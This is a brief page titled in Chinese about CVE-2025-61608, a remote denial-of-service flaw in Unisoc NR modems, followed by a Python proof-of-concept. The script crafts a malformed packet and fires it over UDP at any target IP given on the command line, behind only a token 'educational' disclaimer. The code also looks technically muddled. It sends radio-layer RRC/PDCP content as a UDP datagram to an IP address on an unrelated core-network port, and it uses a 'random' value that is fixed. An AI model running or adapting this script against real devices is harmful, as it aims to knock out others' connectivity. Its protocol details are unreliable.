CVE-2025-61608: Unisoc NR调制解调器输入验证不当导致远程拒绝服务

# CVE-2025-61608 PoC - NR Modem Denial of Service # This PoC demonstrates sending malformed NR protocol messages # Note: This is for educational/testing purposes only import socket import struct import random def create_malformed_nr_packet(): """Create a malformed NR packet to trigger input validation vulnerability""" # NR RRC message header rrc_pdu = bytearray() # Malformed length field rrc_pdu.extend(struct.pack('>H', 0xFFFF)) # Invalid length # Malformed PDCP control plane service request rrc_pdu.extend(b'\x00\x00\x00\x00') # Add padding with invalid values rrc_pdu.extend(b'\xFF\xFF\xFF\xFF' * 10) # Add out-of-range values rrc_pdu.extend(struct.pack('>I', random.randint(0xFFFFFFFF, 0xFFFFFFFF))) return bytes(rrc_pdu) def send_dos_packet(target_ip, port=38412): """Send malformed packet to target NR modem""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) malformed_packet = create_malformed_nr_packet() try: print(f"[*] Sending malformed NR packet to {target_ip}:{port}") sock.sendto(malformed_packet, (target_ip, port)) print("[+] Packet sent successfully") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] send_dos_packet(target) else: print("Usage: python poc.py <target_ip>")